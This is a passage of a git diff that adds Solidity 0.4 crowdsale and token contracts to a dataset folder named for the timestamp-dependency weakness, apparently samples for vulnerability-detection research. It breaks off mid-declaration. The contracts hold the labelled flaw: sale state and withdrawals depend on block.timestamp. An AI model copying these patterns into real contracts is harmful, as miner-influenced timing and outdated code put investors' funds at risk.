require(investorWhiteList.isAllowed(msg.sender)); + _; + } + + function AnythingAppTokenPreSale( + address _token, + address _beneficiary, + address _investorWhiteList, + + uint _totalTokens, + uint _tokenPriceUsd, + + uint _baseEthUsdPrice, + + uint _firstStage, + uint _secondStage, + uint _thirdStage, + + uint _startTime, + uint _endTime + ) { + ethUsdRate = _baseEthUsdPrice; + tokenPriceUsd = _tokenPriceUsd; + + totalTokens = _totalTokens.mul(1 ether); + + token = AnythingAppToken(_token); + investorWhiteList = InvestorWhiteList(_investorWhiteList); + beneficiary = _beneficiary; + + firstStage = _firstStage.mul(1 ether); + secondStage = _secondStage.mul(1 ether); + thirdStage = _thirdStage.mul(1 ether); + + startTime = _startTime; + endTime = _endTime; + } + + function() payable inWhiteList { + doPurchase(msg.sender); + } + + function tokenFallback(address _from, uint _value, bytes _data) public pure { } + + function doPurchase(address _owner) private preSaleActive inNormalState { + if (token.balanceOf(msg.sender) == 0) investorCount++; + + uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd); + address referral = investorWhiteList.getReferralOf(msg.sender); + uint referralBonus = calculateReferralBonus(tokens); + uint bonus = calculateBonus(tokens, referral); + + tokens = tokens.add(bonus); + + uint newTokensSold = tokensSold.add(tokens); + if (referralBonus > 0 && referral != 0x0) { + newTokensSold = newTokensSold.add(referralBonus); + } + + require(newTokensSold <= totalTokens); + require(token.balanceOf(msg.sender).add(tokens) <= LIMIT_PER_USER); + + tokensSold = newTokensSold; + + collected = collected.add(msg.value); + deposited[msg.sender] = deposited[msg.sender].add(msg.value); + + token.transfer(msg.sender, tokens); + NewContribution(_owner, tokens, msg.value); + + if (referralBonus > 0 && referral != 0x0) { + token.transfer(referral, referralBonus); + NewReferralTransfer(msg.sender, referral, referralBonus); + } + } + + function calculateBonus(uint _tokens, address _referral) private returns (uint _bonuses) { + uint bonus; + + if (tokensSold < firstStage) { + bonus = BONUS_LEVEL_1; + } else if (tokensSold >= firstStage && tokensSold < secondStage) { + bonus = BONUS_LEVEL_2; + } else { + bonus = BONUS_LEVEL_3; + } + + if (_referral != 0x0) { + bonus += 5; + } + + return _tokens.mul(bonus).div(100); + } + + function calculateReferralBonus(uint _tokens) internal constant returns (uint _bonus) { + return _tokens.mul(20).div(100); + } + + function withdraw() external onlyOwner { + uint withdrawLimit = 500 ether; + if (withdrawn < withdrawLimit) { + uint toWithdraw = collected.sub(withdrawn); + if (toWithdraw + withdrawn > withdrawLimit) { + toWithdraw = withdrawLimit.sub(withdrawn); + } + beneficiary.transfer(toWithdraw); + withdrawn = withdrawn.add(toWithdraw); + return; + } + require(block.timestamp >= endTime); + beneficiary.transfer(collected); + token.transfer(beneficiary, token.balanceOf(this)); + crowdsaleFinished = true; + } + + function refund() external preSaleEnded inNormalState { + require(refunded[msg.sender] == false); + + uint refund = deposited[msg.sender]; + require(refund > 0); + + deposited[msg.sender] = 0; + refunded[msg.sender] = true; + weiRefunded = weiRefunded.add(refund); + msg.sender.transfer(refund); + Refunded(msg.sender, refund); + } + + function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider { + require(ethUsdPrice > 0); + ethUsdRate = ethUsdPrice; + } + + function setEthPriceProvider(address provider) external onlyOwner { + require(provider != 0x0); + ethPriceProvider = provider; + } + + function setNewWhiteList(address newWhiteList) external onlyOwner { + require(newWhiteList != 0x0); + investorWhiteList = InvestorWhiteList(newWhiteList); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10807.sol b/smart_contract_dataset/timestamp dependency/10807.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10807.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + + + + + + + +contract UpgradeAgent { + + uint public originalSupply; + + + function isUpgradeAgent() public constant returns (bool) { + return true; + } + + function upgradeFrom(address _from, uint256 _value) public; + +} + + + +contract UpgradeableToken is StandardToken { + + + address public upgradeMaster; + + + UpgradeAgent public upgradeAgent; + + + uint256 public totalUpgraded; + + + enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} + + + event Upgrade(address indexed _from, address indexed _to, uint256 _value); + + + event UpgradeAgentSet(address agent); + + + function UpgradeableToken(address _upgradeMaster) { + upgradeMaster = _upgradeMaster; + } + + + function upgrade(uint256 value) public { + + UpgradeState state = getUpgradeState(); + if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { + + throw; + } + + + if (value == 0) throw; + + balances[msg.sender] = safeSub(balances[msg.sender], value); + + + totalSupply = safeSub(totalSupply, value); + totalUpgraded = safeAdd(totalUpgraded, value); + + + upgradeAgent.upgradeFrom(msg.sender, value); + Upgrade(msg.sender, upgradeAgent, value); + } + + + function setUpgradeAgent(address agent) external { + + if(!canUpgrade()) { + + throw; + } + + if (agent == 0x0) throw; + + if (msg.sender != upgradeMaster) throw; + + if (getUpgradeState() == UpgradeState.Upgrading) throw; + + upgradeAgent = UpgradeAgent(agent); + + + if(!upgradeAgent.isUpgradeAgent()) throw; + + if (upgradeAgent.originalSupply() != totalSupply) throw; + + UpgradeAgentSet(upgradeAgent); + } + + + function getUpgradeState() public constant returns(UpgradeState) { + if(!canUpgrade()) return UpgradeState.NotAllowed; + else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; + else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; + else return UpgradeState.Upgrading; + } + + + function setUpgradeMaster(address master) public { + if (master == 0x0) throw; + if (msg.sender != upgradeMaster) throw; + upgradeMaster = master; + } + + + function canUpgrade() public constant returns(bool) { + return true; + } + +} + + + + + + + + + + +contract ReleasableToken is ERC20, Ownable { + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + + modifier canTransfer(address _sender) { + + if(!released) { + if(!transferAgents[_sender]) { + throw; + } + } + + _; + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + + + releaseAgent = addr; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + transferAgents[addr] = state; + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + released = true; + } + + + modifier inReleaseState(bool releaseState) { + if(releaseState != released) { + throw; + } + _; + } + + + modifier onlyReleaseAgent() { + if(msg.sender != releaseAgent) { + throw; + } + _; + } + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + +} + + + + + + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + + +contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { + + + event UpdatedTokenInformation(string newName, string newSymbol); + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + + string public name; + + string public symbol; + + uint public decimals; + + + uint public minCap; + + + function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) + UpgradeableToken(msg.sender) { + + + + + owner = msg.sender; + + name = _name; + symbol = _symbol; + + totalSupply = _initialSupply; + + decimals = _decimals; + + minCap = _globalMinCap; + + + balances[owner] = totalSupply; + + if(totalSupply > 0) { + Minted(owner, totalSupply); + } + + + if(!_mintable) { + mintingFinished = true; + if(totalSupply == 0) { + throw; + } + } + } + + + function releaseTokenTransfer() public onlyReleaseAgent { + mintingFinished = true; + super.releaseTokenTransfer(); + } + + + function canUpgrade() public constant returns(bool) { + return released && super.canUpgrade(); + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner { + name = _name; + symbol = _symbol; + + UpdatedTokenInformation(name, symbol); + } + + + function claimTokens(address _token) public onlyOwner { + require(_token != address(0)); + + ERC20 token = ERC20(_token); + uint balance = token.balanceOf(this); + token.transfer(owner, balance); + + ClaimedTokens(_token, owner, balance); + } + +} + + + +contract ReservedTokensFinalizeAgent is FinalizeAgent { + using SafeMathLibExt for uint; + CrowdsaleTokenExt public token; + CrowdsaleExt public crowdsale; + + uint public distributedReservedTokensDestinationsLen = 0; + + function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public { + token = _token; + crowdsale = _crowdsale; + } + + + function isSane() public constant returns (bool) { + return (token.releaseAgent() == address(this)); + } + + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public { + assert(msg.sender == address(crowdsale)); + + assert(reservedTokensDistributionBatch > 0); + assert(!reservedTokensAreDistributed); + assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen()); + + + + uint tokensSold = 0; + for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) { + CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i)); + tokensSold = tokensSold.plus(tier.tokensSold()); + } + + uint startLooping = distributedReservedTokensDestinationsLen; + uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen); + if (batch >= reservedTokensDistributionBatch) { + batch = reservedTokensDistributionBatch; + } + uint endLooping = startLooping + batch; + + + for (uint j = startLooping; j < endLooping; j++) { + address reservedAddr = token.reservedTokensDestinations(j); + if (!token.areTokensDistributedForAddress(reservedAddr)) { + uint allocatedBonusInPercentage; + uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr); + uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr); + uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr); + + if (percentsOfTokensUnit > 0) { + allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100; + token.mint(reservedAddr, allocatedBonusInPercentage); + } + + if (allocatedBonusInTokens > 0) { + token.mint(reservedAddr, allocatedBonusInTokens); + } + + token.finalizeReservedAddress(reservedAddr); + distributedReservedTokensDestinationsLen++; + } + } + + if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) { + reservedTokensAreDistributed = true; + } + } + + + function finalizeCrowdsale() public { + assert(msg.sender == address(crowdsale)); + + if (token.reservedTokensDestinationsLen() > 0) { + assert(reservedTokensAreDistributed); + } + + token.releaseTokenTransfer(); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10808.sol b/smart_contract_dataset/timestamp dependency/10808.sol new file mode 100644 index 0000000000000000000000000000000000000000..0cf97716ffe1952a4b78387eaa7ee50c9c533948 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10808.sol @@ -0,0 +1,1014 @@ + + + +pragma solidity ^0.4.8; + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + +contract Haltable is 